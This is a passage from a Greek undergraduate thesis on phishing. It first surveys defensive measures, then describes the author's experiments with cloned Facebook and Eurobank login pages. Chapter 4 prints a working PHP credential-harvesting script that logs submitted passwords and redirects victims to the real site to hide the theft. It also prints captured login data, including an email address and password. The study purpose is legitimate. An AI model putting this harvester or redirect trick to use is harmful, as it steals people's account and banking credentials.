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ΚΕΦΑΛΑΙΟ 3: ΠΡΟΛΗΨΗ ΕΝΑΝΤΙ PHISHING ΕΠΙΘΕΣΕΩΝ 

Ως γνωστόν, η καλύτερη αντιµετώπιση των διαδικτυακών επιθέσεων είναι η πρόληψη και τα 

διάφορα µέτρα προστασίας που χρειάζεται να λάβει ο χρήστης προκειµένου να διασφαλίσει 

την ιδιωτικότητά του. Τα µέτρα αυτά αφορούν προγράµµατα ανίχνευσης ιών αλλά και 

πρακτικά ζητήµατα που καλό είναι να τηρεί ο κάθε χρήστης κατά τη διάρκεια πλοήγησής του 

στους διαδικτυακούς τόπους. Παρακάτω θα αναφερθούν ορισµένα από αυτά τα προληπτικά 

µέτρα phishing επίθεσης. 

3.1 Web E-mail Spam 

Ένα spam ή junk e-mail είναι από τα κυριότερα προβλήµατα που καλείται να αντιµετωπίσει 

ένας ιδιώτης αλλά και µία επιχείρηση (πάνω από το 70% των e-mails που λαµβάνουν είναι 

spam) καθώς µπορεί να προκαλέσει και στις δύο περιπτώσεις σοβαρές οικονοµικές ζηµίες, 

εκτός από τη σπατάλη πολύτιµου αποθηκευτικού χώρου και τη χρονοβόρα διαδικασία 

διαγραφής αυτών. Τα φίλτρα στην αλληλογραφία, η οργάνωση των εισερχόµενων e-mails και 

η αποµάκρυνση των spam e-mails είναι από τα βασικά βήµατα που χρειάζεται να γίνουν για 

την προστασία των χρηστών (ιδιωτών και επιχειρήσεων). Τα µοντέλα φιλτραρίσµατος 

ακολουθούν σχεδόν παρόµοια φιλοσοφία, ξεκινώντας µε τη συγκέντρωση όλης της 

ηλεκτρονικής αλληλογραφίας, ακολουθώντας η διαδικασία µετασχηµατισµού, επιλέγονται τα 

χαρακτηριστικά ταξινόµησης και το τµήµα ανάλυσης αυτών. Μία αλγοριθµική µηχανή 

χρησιµοποιείται προκειµένου να εκπαιδευτεί να εντοπίζει το spam e-mail από το νοµότυπο 

(Εικόνα 3.1) (53). 
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Εικόνα 3.1: ∆ιαδικασία φιλτραρίσµατος spam e-mail Πηγή: (53) 

 

Τα µοντέλα φιλτραρίσµατος είναι µία γενική πρόληψη, ωστόσο ανάλογα µε τη µορφή που 

έχει το spam e-mail µπορούν να υπάρξουν και πιο εξειδικευµένες µέθοδοι. Για παράδειγµα 

στα image spam e-mails χρησιµοποιείται η µέθοδος της κινούµενης GIF εικόνας, η οποία δεν 

περιέχει σαφές κείµενο στο αρχικό πλαίσιο ή παραµορφώνει το σχήµα των γραµµάτων στην 

εικόνα. Στα blank spam e-mails καλό είναι να χρησιµοποιούνται bounces προκειµένου να 

διαχωρίζονται οι µη έγκυρες διευθύνσεις (53). Άλλοι διαδεδοµένοι τρόποι προστασίας είναι 

οι αλγόριθµοι όπως ο Naive Bayes classifier, ο οποίος πραγµατοποιεί ταξινοµήσεις (54), τα 

“Support vector machines”, τα µοντέλα εκµάθησης που επιβλέπουν και αναλύουν τα 

δεδοµένα που χρησιµοποιούν για την ταξινόµηση και την ανάλυση της παλινδρόµησης 

(55,56). Επίσης, υπάρχουν τα Τεχνητά Νευρωνικά ∆ίκτυα (“Artificial Neural Networks”), 

µαθηµατικά ή υπολογιστικά µοντέλα, τα οποία επεξεργάζονται τις πληροφορίες βασιζόµενα 

στην εκµάθηση από εµπειρία (57) και τέλος η ταξινόµηση “K-nearest neighbor”,  µε τη 

βοήθεια της οποίας δηµιουργούνται αρχεία τα οποία χρησιµοποιούνται κυρίως για σύγκριση 

σχετικά µε την κατηγορία που θα πρέπει να ταξινοµηθεί ένα έγγραφο µε παρόµοια 

χαρακτηριστικά όταν έρθει στο ηλεκτρονικό ταχυδροµείο του χρήστη (58). 

Πέρα από τους αλγορίθµους και τα προγράµµατα προστασίας, ο καθένας χρήστης έχει τη 

δυνατότητα να λάβει κάποια µέτρα όπως το είναι προσεκτικός στα άτοµα ή τους οργανισµούς 

που δίνει το e-mail του, να χρησιµοποιεί τους κωδικούς προστασίας του και να τους 
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ανανεώνει σε τακτά χρονικά διαστήµατα, να χρησιµοποιεί προγράµµατα προστασίας όλου 

του υπολογιστή του, να µην απαντάει σε «περίεργα» µηνύµατα και να µην δίνει προσωπικά 

του στοιχεία.  

3.2 Deceptive Phishing  

Η deceptive επίθεση αποτελεί από τα κυριότερα προβλήµατα που αντιµετωπίζει η οµάδα των 

“Instant Messengers”. Η χρήση ενός µοντέλου εντοπισµού (“apriori” αλγόριθµος) της 

επίθεσης µε τη βοήθεια εξόρυξης δεδοµένων και “associative” τεχνικές, όπως και τεχνικές 

ανάκτηση πληροφοριών, που ανιχνεύουν το δυναµικό phishing µε την ανταλλαγή φωνητικών 

και γραπτών µηνυµάτων, θα µπορούσαν να αποτελέσουν αποτελεσµατικές λύσεις για τους 

χρήστες. Τα µηνύµατα, καλό είναι να είναι, προτού αποθηκευτούν στη Transaction βάση 

δεδοµένων να φιλτράρονται και να ελέγχονται “Ignore”-λέξεις χρησιµοποιώντας σύστηµα 

ανάκτηση πληροφοριών (59,60). 

 3.3 Malware-Based Phishing 

Τα κακόβουλα προγράµµατα κυρίως µεταδίδονται µέσα από τα e-mails. Αυτό σηµαίνει ότι 

αρχικά οι τρόποι προστασίας είναι όµοιοι µε αυτούς της προστασίας του ηλεκτρονικού 

ταχυδροµείου. Ωστόσο οι εταιρείες, που είναι οι κύριοι δέκτες των malwares, χρειάζονται να 

λάβουν επιπρόσθετη προστασία. Τέτοια µπορεί να είναι τα εµπορικά ή µη πακέτα προστασίας 

του λογισµικού, τα οποία είναι σχεδιασµένα έτσι ώστε να ελέγχουν τη λήψη κάθε αρχείου, να 

σαρώνουν ανά τακτά χρονικά διαστήµατα τον υπολογιστή µε σκοπό την «εξόντωση» 

οποιοδήποτε κακόβουλου προγράµµατος και να ενηµερώνονται τακτικά για την εύρεση και 

αντιµετώπιση πιθανών νέων malware προγραµµάτων.  
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Κάτι που αξίζει να σηµειωθεί είναι οι τρόποι προστασίας από malware σε έξυπνες συσκευές. 

Στο προηγούµενο κεφάλαιο σηµειώθηκε ότι πολλά κακόβουλα λογισµικά πλέον έχουν 

εµφανιστεί και στις έξυπνες κινητές συσκευές λόγω του ότι αυτές έχουν τη δυνατότητα 

πλοήγησης στο διαδίκτυο. Εξαιτίας αυτών των χαρακτηριστικών τους, συχνό φαινόµενο είναι 

αυτό των botnets. Η ασφάλεια που χρειάζεται να παρέχεται πρέπει να είναι πολύ-επίπεδη και 

σχετίζεται µε (61): 

i. τον τελικό χρήστη, ο οποίος χρειάζεται να γνωρίζει τα µέτρα προστασίας που µπορεί 

να λάβει η κινητή του συσκευή εγκαθιστώντας τα ανάλογα προγράµµατα anti-virus, 

anti-malware και ένα προσωπικό τείχος προστασίας, που να είναι συµβατά µε αυτή 

και να προέρχονται από αυθεντικούς οργανισµούς. 

ii. τους παρόχους κινητών δικτύων (“Mobile Network Operators”) δηµιουργώντας ένα 

ασφαλές περιβάλλον για τους πελάτες τους εγκαθιστώντας λογισµικό anti-virus και 

anti-malware ελέγχοντας τα εισερχόµενα και τα εξερχόµενα SMS και MMS. 

iii. τους προγραµµατιστές, οι οποίοι πρέπει να εφοδιάζουν µε τα κατάλληλα µέτρα 

προστασίας τις αναπτυσσόµενες εφαρµογές τους. 

iv. τα καταστήµατα αγοράς, ελέγχοντας τις νέες εφαρµογές κινητών προτού τεθούν στην 

αγορά, όπως η Google µε τα Google Play. 

 

Εικόνα 3.2: Πολύπλευρη malware προστασία στις "έξυπνες συσκευές" Πηγή: (61) 
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Κάποιες άλλες πιο εξειδικευµένες προσεγγίσεις που σχετίζονται µε την πρόληψη κατά των 

malware επιθέσεων είναι τα λογισµικά προστασίας περιεχοµένου (“Content-based”), η 

“Blacklist-based” προστασία, εντοπίζοντας κακόβουλες ιστοσελίδες από αυτές που ήδη 

«εξυπηρετεί», τα συστήµατα “Whitelist-based”, που τα µόνα λογισµικά που επιτρέπει να 

εγκατασταθούν είναι τα γνωστά και τα αποδεδειγµένα έγκυρα και τέλος, η προστασία 

“Reputation-based”, χρησιµοποιώντας ταξινόµηση βασιζόµενη στο δίκτυο αυξάνοντας 

ταυτόχρονα την ασφάλεια µέσω µιας spam λίστας (62,63). 

3.4 Keyloggers and Screenloggers  

Προκειµένου να αντιµετωπίσει ο χρήστης τη συγκεκριµένη απειλή, προτείνονται οδηγίες που 

καλό είναι να εφαρµόζονται και σε κάθε µορφή απειλής. Αυτές σχετίζονται µε τη χρήση 

τοίχων προστασίας (“firewall”), την εγκατάσταση ενός “Password Manager”, τη διατήρηση 

αναβαθµισµένου λογισµικού, τη συχνή αλλαγή κωδικών. Η χρήση ενός εικονικού 

πληκτρολογίου, θα µπορούσε επίσης να αποτελέσει µία λύση στο phishing αυτής της µορφής. 

Να σηµειωθεί ότι σε αυτή την περίπτωση, οι κωδικοί του χρήστη µπορούν να εισαχθούν 

µέσω του “mouse” της ηλεκτρονικής συσκευής κι όχι µέσω πληκτρολόγιου (64,65). Τέλος, 

µία ακόµη πρακτική θα µπορούσε να είναι η χρήση µοναδικών κωδικών κάθε φορά, γνωστοί 

ως “one-time passwords” µε τη βοήθεια συσκευών όπως τα USB κλειδιά (“USB key”), τις 

αριθµοµηχανές (“calculator”), ή τη χρήση συστήµατος µηνυµάτων µέσω τηλεφώνου (“mobile 

phone text messaging system”). Η τελευταία περίπτωση χρησιµοποιείται κυρίως για τις 

τραπεζικές συναλλαγές καθώς, οι κωδικοί είναι εγγεγραµµένοι στο τραπεζικό σύστηµα. Οι 

χρήστες του λαµβάνουν έναν κωδικό PIN στη κινητή τους συσκευή κι αυτός, µαζί µε τον 

προσωπικό τους κωδικό του χρησιµοποιούνται για τον έλεγχο ταυτότητας (32).  
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3.5 Session Hijacking 

Σε σχετικό άρθρο, ως εναλλακτική λύση προστασίας από τη Session Hijacking επίθεση 

προτείνεται η χρήση µοναδικών cookies (“One-Time Cookies-OTC”). Το OTC είναι 

πρωτόκολλο ταυτοποίησης στα διαδικτυακά sessions, που παράγει µοναδικά “tokens” και 

από τη στιγµή που χρησιµοποιηθούν σε µία διαδικτυακή εφαρµογή δεν µπορούν να 

ξαναχρησιµοποιηθούν. Κάθε “token” που παράγεται είναι συνδεδεµένο µε το αντίστοιχο 

αίτηµα πιστοποίησης, εποµένως οι phishers δεν µπορούν να υποκλέψουν προσωπικά 

στοιχεία. Άλλες, πιο κοινές µέθοδοι, είναι τα HTTP πρωτόκολλα ασφαλείας και τα εικονικά 

ιδιωτικά δίκτυα (“Virtual Private Network”) (66). Μία διαφορετική πρόταση είναι ο 

SessionShield µηχανισµός που παρατηρεί τις τιµές των sessions που χρησιµοποιούνται στα 

παράτυπα scripts και απορρίπτοντας τα όταν εκτελούνται οι script γλώσσες του browser. Το 

ηλεκτρονικό σύστηµα εφαρµογής του µηχανισµού δεν χρειάζεται περίοδο εκπαίδευσης και 

εκµάθησης καθιστώντας το εφαρµόσιµο σε επιτραπέζιους υπολογιστές και κινητά συστήµατα 

(67). 

Πρόσθετοι τρόποι προστασίας είναι η κρυπτογράφηση των session κλειδιών (“session key”) 

χρησιµοποιώντας SSL (“Secure Sockets Layer”), που χρησιµοποιείται ιδιαίτερα στις τράπεζες 

και τις υπηρεσίες του e-εµπορίου, η χρήση µακρόσυρτων και τυχαίων αριθµών για στα 

session κλειδιά, η ανανέωση του ID session έπειτα από µία επιτυχηµένη σύνδεση, υπηρεσίες 

που παρέχουν επιπλέον ελέγχους έπειτα από την ταυτοποίηση του χρήστη, διασταυρώνοντας 

εάν το ΙΡ των αιτηµάτων είναι όµοιο µε αυτό που χρησιµοποιήθηκε στο τελευταίο session και 

τέλος η αποσύνδεση του χρήστη µετά το πέρας χρήσης των ιστοσελίδων (68). 
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3.6 Man-In-The-Middle Attack  

Αποτελεσµατική προστασία από την MITM επίθεση πραγµατοποιείται µέσω του router 

(δροµολογητή) ή από την πλευρά του server. Η χρήση κρυπτογράφησης µεταξύ πελάτη και 

διακοµιστή είναι απαραίτητη. Ο διακοµιστής επαληθεύει την πιστότητα του αιτήµατος του 

πελάτη µε τη βοήθεια ενός ψηφιακού πιστοποιητικού, απαιτώντας µετά απλά την 

πραγµατοποίηση σύνδεσης. Μία δεύτερη εναλλακτική είναι η µη σύνδεση από ελεύθερους 

δροµολογητές τύπου WiFi, παρά µόνο µε τη χρήση plug-in (κοµµάτια λογισµικού που 

ενσωµατώνονται στο υπάρχον λογισµικό για την ασφάλισή του) περιηγητή (69).  

Κοινή µέθοδος ασφαλούς σύνδεσης είναι η χρήση των Εικονικών Ιδιωτικών ∆ικτύων (VPN) 

και οι τεχνικές κρυπτογράφησης που εµπεριέχονται σε αυτά (π.χ. “Point-to-point Tunneling 

Protocol” ή “Internet Protocol Security”), όπως επίσης και η χρήση δικτυακού πρωτοκόλλου, 

για την αποµακρυσµένη ασφαλή διαχείριση των hosts. 

3.7 Web Trojans Horse  

Οι hackers δεν σταµατούν ποτέ την ανάπτυξη νέων κόλπων. Οι χρήστες για να διαφυλάξουν 

τα συστήµατά τους από την Trojan επίθεση χρειάζεται να (70):  

i. εγκαταστήσουν ισχυρό λογισµικό ασφαλείας (π.χ. anti-phishing, anti-Trojan virus) και 

να ναι ενήµερο, 

ii. χρησιµοποιούν ασφαλή παροχέα διαδικτύου (ISP), που υλοποιεί ισχυρές anti-spam 

και anti-phishing διαδικασίες, 

iii. χρησιµοποιούν patched υπολογιστές µε τείχος προστασίας, 

iv. ρυθµίζουν όλα λογισµικά ώστε να ανιχνεύουν αυτόµατα όλα τα e-mails και τα 

συνηµµένα αποτρέποντας την εκτέλεση µακροεντολών, 
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v. είναι προσεκτικοί όταν ασχολούνται µε peer-to-peer (P2P) κοινή χρήση αρχείων, 

αποφεύγοντας το κατέβασµα αρχείων µε επεκτάσεις .exe, .scr, .lnk, .bat, .vbs, .dll, 

.bin, και .cmd, 

vi. φροντίζουν για την ενηµέρωση του browser,  

vii. προφυλάσσουν PDA, το κινητό τηλέφωνο και τις Wi-Fi συσκευές,  

viii. ρυθµίζουν τις εφαρµογές ανταλλαγής Instant massengers, για να µην ανοίγει 

αυτόµατα όταν ενεργοποιείτε στον υπολογιστή, και συνάµα να αποσυνδέουν τη 

γραµµή DSL ή το µόντεµ όταν δεν χρησιµοποιείται, 

ix. δηµιουργούν αντίγραφα ασφαλείας αρχείων τακτικά και να τα αποθηκεύουν εκτός του 

προσωπικού τους υπολογιστή.   

3.8 Content-Injection Phishing  

Η χρήση HTTPs στον υπολογιστή, αποτελεί ένα σηµαντικό εµπόδιο για τους εισβολείς, µε 

την προϋπόθεση να είναι έγκυρα. Μία ακόµη λύση θα µπορούσε να είναι η Πολιτική 

Ασφάλειας Περιεχοµένου (“Content Security Policy”) µε την οποία ο χρήστης µπορεί να 

ελέγχει τα third-party domains, ζητώντας αντίστοιχα αιτήµατα περιεχοµένου (όπως scripts, 

εικόνες, CSS). Η εστίαση σε εξωτερικά  αιτήµατα γνωστών και έγκυρων ιστοσελίδων 

µπορούν να περιορίσουν σε µεγάλο βαθµό την επίθεση Content-Injection. Μία δυνατότητα 

του CSP είναι αυτή των ενηµερωτικών αναφορών (“Reporting”). Ο ενδιαφερόµενος µπορεί 

να ρυθµίσει το “reporting URL” και οτιδήποτε είναι εκτός των κανόνων που έχουν τεθεί 

απορρίπτεται. Με αυτόν τον τρόπο παρέχεται επίσης πληροφόρηση σφαλµάτων προτού οι 

κακόβουλες εφαρµογές εγκατασταθούν στον υπολογιστή (71). 
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3.9 Link Manipulation  

Προκειµένου ένας εξυπηρετητής να προστατευτεί από URL manipulation επιθέσεις, ο 

χρήστης απαιτείται να ελέγχει όλα τα τρωτά σηµεία του web server του και ανά τακτά 

χρονικά διαστήµατα να εφαρµόζει τα ανάλογα µέτρα προστασίας. Επιπλέον, οι λεπτοµερείς 

ρυθµίσεις του διακοµιστή βοηθούν το χρήστη να µένει µακριά από ανεπιθύµητες ιστοσελίδες. 

Ο web server καλό είναι να ρυθµιστεί ως εξής (48): 

i. να εµποδίζει την περιήγηση σε σελίδες που βρίσκονται κάτω από ρίζα ιστοσελίδων 

(“chroot mechanism”) 

ii. να απενεργοποιεί την εµφάνιση αρχείων που συγκαταλέγονται σε κατάλογο που δεν 

περιέχει αρχεία ευρετηρίων (“Directory Browsing”) 

iii. να διαγράφει άχρηστους καταλόγους ή αρχεία, συµπεριλαµβανηµένου και των 

κρυφών 

iv. να προστατεύει την πρόσβαση σε καταλόγους µε ευαίσθητα δεδοµένα 

v. να διαγράφει τις άχρηστες επιλογές ρυθµίσεων και λοιπών διαµορφώσεων  

vi. να διαγράφει τα περιττά script interpreters 

vii. να αποτρέπει την παρακολούθηση των HTTP των HTTPS προσβάσιµων σελίδων. 

Μια πιο εξειδικευµένη προστασία των image malupulations, µπορεί να γίνει µέσω 

αλγορίθµου ο οποίος (72): 

i. Εµποδίζει του χρήστες να «κατεβάζουν» εικόνες που θεωρούνται «απροστάτευτες» 

ii. Προστατεύει τον εξυπηρετητή εµποδίζοντας το χρήστη να εισαχθεί σε κακόβουλες 

ιστοσελίδες 

iii. Παρέχει προστασία στην ταυτοποίηση των χρηστών µε διαδικασίες cropping και 

scaling  

iv. Βοηθάει στον έλεγχο ταυτοποίησης του internet και του intranet µε το ίδιο domain. 
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3.10 DNS-Based Phishing (“Pharming”) 

Σε άρθρο αναφέρεται ότι γενικά για την αντιµετώπιση της pharming επίθεσης, χρειάζεται ο 

υπολογιστής του χρήστη να διαθέτει ενεργό µηχανισµό µε εµφάνιση pop-up µηνυµάτων για 

την άµεση δράση του ενδιαφερόµενου σε περίπτωση εντοπισµού κακόβουλου DNS. Ακόµη, 

µεγάλη βοήθεια µια οπτική ένδειξη στη γραµµή διευθύνσεων του browser, η οποία θα 

ενηµερώνει το χρήστη για το τρέχον επίπεδο εµπιστοσύνης του ιστοχώρου που πλοηγείται. 

Προστίθεται, ότι για τον εντοπισµός των pharming επιθέσεων οι χρήστες χρειάζεται να 

εγκύψουν στον έλεγχο της IP διεύθυνσης του συστήµατος και στον έλεγχο ανάµεσα στο 

περιεχόµενο της εµφανιζόµενης ιστοσελίδας και της αναφερόµενης ιστοσελίδας. 

Αναλυτικότερα (73): 

i. Έλεγχος IP διεύθυνσης: ο καθορισµός του διακοµιστή είναι σηµαντικό, καθώς 

συµµετέχει στη διαδικασία λήψης αποφάσεων και ο τελικός χρήστης έχει τη 

δυνατότητα να επιλέξει έναν που είναι διαφορετικός από το “In-Plane Switching” του. 

Αφότου καθοριστούν οι διακοµιστές χρήσης, κάθε φορά που ο χρήστης θα εισέρχεται 

σε µία ιστοσελίδα, αυτοµάτως θα ελέγχεται η νοµοτυπία του.  

ii. Ανάλυση του πηγαίου κώδικα HTML: η διατήρηση µιας ενηµερωµένης βάσης 

δεδοµένων παίζει σηµαντικό ρόλο.  Οι επισκέψιµες ιστοσελίδες «επιστρέφουν» µέσω 

της IP διεύθυνσης ζητώντας το URL και στοχοποιούνται µέσω HTTP αιτηµάτων της 

IP.  

Ιδιαίτερο ενδιαφέρον παρουσιάζει η αντιµετώπιση του φαινοµένου στον κλάδο των 

τραπεζικών υπηρεσιών.  Σε ανάλογο άρθρο σηµειώνεται ότι πρωτεύοντα ρόλο έχει ο ίδιος ο 

χρήστης τηρώντας τα ασφαλή µέτρα ανάληψης τόσο από την πλευρά του υπολογιστικού του 

συστήµατος, όσο κι από την πλευρά του δικτύου. Θα πρέπει να χρησιµοποιεί αξιόπιστα 

υπολογιστικά συστήµατα και όχι δηµόσια, µε ενηµερωµένα antispyware λογισµικά και τείχη 
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προστασίας. Οι ιστοσελίδες που εισέρχεται απαιτείται να είναι νόµιµες και η λήψη 

εφαρµογών να πραγµατοποιούνται από αξιόπιστους servers (74,75). 

Ακόµη η χρήση επιπρόσθετων µέτρων ασφαλείας από τις ρυθµίσεις των ίσων των 

τραπεζικών υπηρεσιών είναι απαραίτητη (π.χ. αποστολή SMS στον πελάτη για την έγκριση 

πιστοποίησης). Έτσι ο phisher και να γνωρίζει τα προσωπικά στοιχεία του θύµατος, δεν θα 

µπορεί να µεταβεί σε µεταφορά χρηµάτων. Ο τακτικός έλεγχος της κίνησης των 

λογαριασµών και η τοποθέτηση ορίου ανάληψης χρηµάτων (π,χ, ανά εβδοµάδα ή µήνα) 

αποτελεί µία καλή πρακτική προστασίας. Η σηµασία χρήσης της πιστότητας των ιστοσελίδων 

σηµειώθηκε και µπορεί να πραγµατοποιηθεί µέσω του padlock συµβόλου (ένδειξη ότι η 

ιστοσελίδα προστατεύεται). Τέλος, εάν ο χρήστης αναγνωρίσει κάποιες ύποπτες κινήσεις, να 

µην πραγµατοποιήσει συναλλαγές, να ενεργοποιήσει τις ευαίσθητες πρόσθετες ερωτήσεις 

προστασίας και να επικοινωνήσει µε τον τραπεζικό οργανισµό (74,75).  

3.11 Search Engine Phishing  

Οι τρόποι αντιµετώπισης της εν λόγω επίθεσης δεν διαφοροποιούνται ιδιαίτερα από αυτά που 

έχουν αναφερθεί ανωτέρω. Η wise-ανίχνευση µπορεί να αποτελέσει τρόπο προστασίας των 

διαδικτυακών “hosted payloads” µαζί µε τις συχνές ενηµερώσεις τους. Επίσης, για τα 

payloads ενδείκνυται η µελέτη των SEO επιθέσεων, η οποία µπορεί να οδηγήσει σε στοιχεία 

που χρειάζεται να προσέξουν οι χρήστες, όπως το ενεργό περιεχόµενο που χρησιµοποιείται 

στην ανακατεύθυνση (“redirection”) ή τα HTML και scripts στοιχεία που χρησιµοποιούνται 

στις κακόβουλες ιστοσελίδες. Τέλος, η αναβάθµιση των εφαρµογών προστασίας είναι 

επιτακτική ανάγκη (76). Οι µηχανές αναζήτησης εσκεµµένα σχεδιάζουν τους αλγόριθµους 

τους πιο περίπλοκους και δύσκολους, µε σκοπό να δυσκολέψουν τους hackers.  
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ΚΕΦΑΛΑΙΟ 4: ∆ΗΜΙΟΥΡΓΙΑ ΠΑΡΑΠΛΑΝΗΤΙΚΩΝ ΙΣΤΟΣΕΛΙ∆ΩΝ  

4.1. Ανάλυση Πειραµατικών Αποτελεσµάτων 

Στα πλαίσια της παρούσας πτυχιακής υλοποιήθηκαν διάφορες µορφές Phising µέσω 

διαδικτύου. Για τις ανάγκες της συγκεκριµένης εργασίας δηµιουργήθηκαν διάφορες 

ιστοσελίδες, οι οποίες είναι φαινοµενικά ίδιες µε κάποιες άλλες ευρέως γνωστές, όπως για 

παράδειγµα το Facebook και της  Amazon. Με τη χρήση κατάλληλων προγραµµάτων, 

γραµµένα κατά κύριο λόγο σε PHP, καταφέραµε να αποσπάσουµε πληροφορίες σχετικά µε το 

κωδικό και το όνοµα χρήστη, αλλά και περισσότερο ευαίσθητα προσωπικά δεδοµένα όπως 

για παράδειγµα τους αριθµούς πιστωτικών καρτών. 

Σε αυτό το σηµείο κρίνεται σκόπιµο να υπογραµµιστεί ότι οι ιστοσελίδες που δηµιουργήσαµε 

δεν έχουν τοποθετηθεί σε κάποιο εξυπηρετητή (server), έτσι ώστε να µπορούν να είναι 

δηµόσια προσβάσιµες, καθώς κάτι τέτοιο θα ήταν παράνοµο. Ωστόσο είναι δυνατόν να 

φιλοξενηθούν από οποιονδήποτε server, ο οποίος υποστηρίζει εκτέλεση αρχείων της γλώσσας 

PHP. Ενδεικτικά αναφέρεται ότι στην περίπτωση που το λειτουργικό σύστηµα του 

εξυπηρετητή είναι Windows, η εφαρµογή WampServer παρέχει κατάλληλο περιβάλλον 

ανάπτυξης διαδικτυακών εφαρµογών.  Στην πλειοψηφία τους βέβαια, οι περισσότεροι 

εξυπηρετητές χρησιµοποιούν κάποιο Linux based λειτουργικό σύστηµα όπως για παράδειγµα 

Ubuntu.  Σε αυτή την περίπτωση το περιβάλλον, που µας εξασφαλίζει όλα τα απαιτούµενα 

διαδικτυακά services για την ανάπτυξη των εφαρµογών µας ονοµάζεται LAMP και είναι το 

ακρωνύµιο από τα Linux Operation System, Apache HTTP Server, MySQL relational 

database management system και PHP programming language. 

Για τις ανάγκες της εν λόγω εργασίας χρησιµοποιήθηκε ένας υπολογιστής µε λειτουργικό 

σύστηµα Ubuntu 14.04, στο οποίο δηµιουργήθηκε κατάλληλο περιβάλλον ανάπτυξης 
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ιστοσελίδων µε την χρήση του LAMP. Τα πειράµατα που εκτελέστηκαν µπορούν να 

χωριστούν σε τρεις διαφορετικές υποενότητες, ανάλογα µε την πολυπλοκότητα της 

διαδικασίας Phising που υλοποιήθηκε. Η σηµαντικότερη ίσως παράµετρος σε κάθε απόπειρα 

υποκλοπής προσωπικών δεδοµένων είναι η δηµιουργία µια αξιόπιστης ιστορίας, η οποία θα 

πείσει το χρήστη να εισάγει τα στοιχεία του ακολουθώντας συγκεκριµένο link  αµφιβόλου 

προέλευσης.  

Σε πρώτο βήµα δηµιουργήθηκε µια ιστοσελίδα φαινοµενικά ίδια µε την σελίδα του Facebook 

και µε το κατάλληλο πρόγραµµα αποσπάστηκαν κωδικοί πρόσβασης και ονόµατα χρηστών, 

από οποιονδήποτε έκανε login στην σελίδα. Στην συνέχεια φτιάχτηκε µια ιστοσελίδα, η οποία 

ήταν ίδια µε αυτή του Eurobank e-banking. Το συγκεκριµένο πείραµα ήταν αρκετά πιο 

σύνθετο, καθώς οι τράπεζες χρησιµοποιούν σύνθετες µορφές αντιµετώπισης του Phising, 

ωστόσο και πάλι καταφέραµε να αποσπάσουµε τους κωδικούς του ebanking από 

ανυποψίαστους χρήστες. Τέλος υλοποιήθηκε ένα πιο σύνθετο σενάριο, όπου αποστέλλονται, 

µέσω κατάλληλου προγράµµατος, µαζικά e-mails σε πολλούς χρήστες, τα οποία υποτίθεται 

ότι προέρχονται από κάποια δηµοφιλή ιστοσελίδα. Στο σώµα του e-mail υπάρχει ένα κείµενο 

το οποίου παρακινεί τους αποδέκτες να ακολουθήσουν κάποιον υπερσύνδεσµο, που κάνοντας 

login θα απολαύσουν προσφορές και εκπτώσεις σε διάφορα προϊόντα.  

4.2. Phising σε Ιστοσελίδα του Facebook 

Στο συγκεκριµένο πείραµα κατασκευάστηκε µια ιστοσελίδα οι οποία µορφολογικά δεν 

παρουσιάζει καµιά διαφορά µε την αυθεντική ιστοσελίδα του Facebook. Ενδεικτικά στις 

εικόνες που ακολουθούν απεικονίζονται η αυθεντική και η σελίδα που φτιάχτηκε. 
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Εικόνα 4.1: Αυθεντική ιστοσελίδα Facebook 

 

 

Εικόνα 4.2: Πλαστή ιστοσελίδα Facebook 

 

Είναι προφανές ότι οι διαφορές των δυο ιστοσελίδων πρέπει να είναι αµελητέες αν όχι 

ανύπαρκτες, µιας και διαφορετικά δεν θα είναι δυνατόν να πειστεί κάποιος να εισάγει τα 

στοιχεία του λογαριασµού του. Στο παρόν πείραµα, τροποποιήθηκε κατάλληλα ο HTML 
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κώδικας της ιστοσελίδας, έτσι ώστε όποτε κάποιος πατάει το κουµπί «Σύνδεση» να 

εκτελείται το παρακάτω script σε PHP, το οποίο αποθηκεύει σε ένα αρχείο της επιλογής, εδώ 

usernames, τα στοιχεία που εισήγαγε ο χρήστης. 

<?php 

 

// Go to facebook so that nobody understands anything more than a login glitch 

header("Location: https://www.facebook.com/login.php"); 

 

// Open a file to save all the stolen passwords in 

$handle = fopen("usernames", "a"); 

foreach ($_POST as $variable=>$value) { 

    // write the value in the following format 

    // key=value\r\n 

    fwrite($handle, $variable); 

    fwrite($handle, "="); 

    fwrite($handle, $value); 

    fwrite($handle, "\r\n"); 

} 

fwrite($handle, "\r\n"); 

fclose($handle); 

 

Ενδεικτικά στις εικόνες που ακολουθούν φαίνονται ακριβώς τα βήµατα της προαναφερθείσας 

διαδικασίας. Αρχικά ένας ανυποψίαστος χρήστης µε διεύθυνση e-mail 

gimmakos@hotmail.com επιχειρεί να εισέλθει στην πλαστή ιστοσελίδα, όπως φαίνεται στην 

εικόνα που ακολουθεί. 



 

44 

 

 

Εικόνα 4.3: Σύνδεση χρήστη στην πλαστή ιστοσελίδα του Facebook 

 

Πατώντας το κουµπί «Σύνδεση» εκτελείται ταυτόχρονα το script που παρουσιάσαµε 

προηγουµένως µε αποτέλεσµα να αποθηκεύονται στο αρχείο “username” ο κωδικός και το 

“όνοµα χρήστη”, ενώ ο χρήστης ανακατευθύνεται στην σελίδα της επόµενης εικόνας, η οποία 

είναι η αυθεντική σελίδα σύνδεσης του Facebook. Με αυτό τον τρόπο, ο χρήστης υποθέτει 

ότι µάλλον έχει εισάγει κάτι λάθος στον κωδικό του ή στο όνοµα χρήστη και εισάγει εκ νέου 

τα στοιχεία του, στην πραγµατική σελίδα αυτή την φορά, χωρίς ωστόσο να υποπτεύεται ότι 

κάποιος έχει ήδη αποσπάσει τα ευαίσθητα προσωπικά του δεδοµένα. 

 

Εικόνα 4.4: Σύνδεση χρήστη στην αυθεντική ιστοσελίδα του Facebook 
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Ενδεικτικά παραθέτουµε το περιεχόµενο του αρχείου username, το οποίο ανανεώθηκε όταν ο 

χρήστης πάτησε το κουµπί «Σύνδεση». Με έντονη γραµµατοσειρά συµβολίζεται το όνοµα και 

ο κωδικός χρήστης, το οποίο είναι 123paok. Παρατηρούµε ότι πέρα από το e-mail και τον 

κωδικό χρήστη, έχουν αποθηκευτεί επιπλέον πληροφορίες, όπως για παράδειγµα η περιοχή 

από την οποία πραγµατοποιήθηκε το login. 

lsd=AVpRQh7A 

email=gimmakos@hotmail.com 

pass=123paok 

default_persistent=0 

timezone=-120 

lgndim=eyJ3IjoxOTIwLCJoIjoxMDgwLCJhdyI6MTkyMCwiYWgiOjEwNTYsImMiOjI0fQ== 

lgnrnd=085015_S1jw 

lgnjs=1452962333 

locale=el_GR 

qsstamp=W1tbXV0sIkFabi1ZMHZJNlNOelVvdG1pQTlZbmR4LUlNWkZ3b2xfWnJsMDVtaTBYSXp

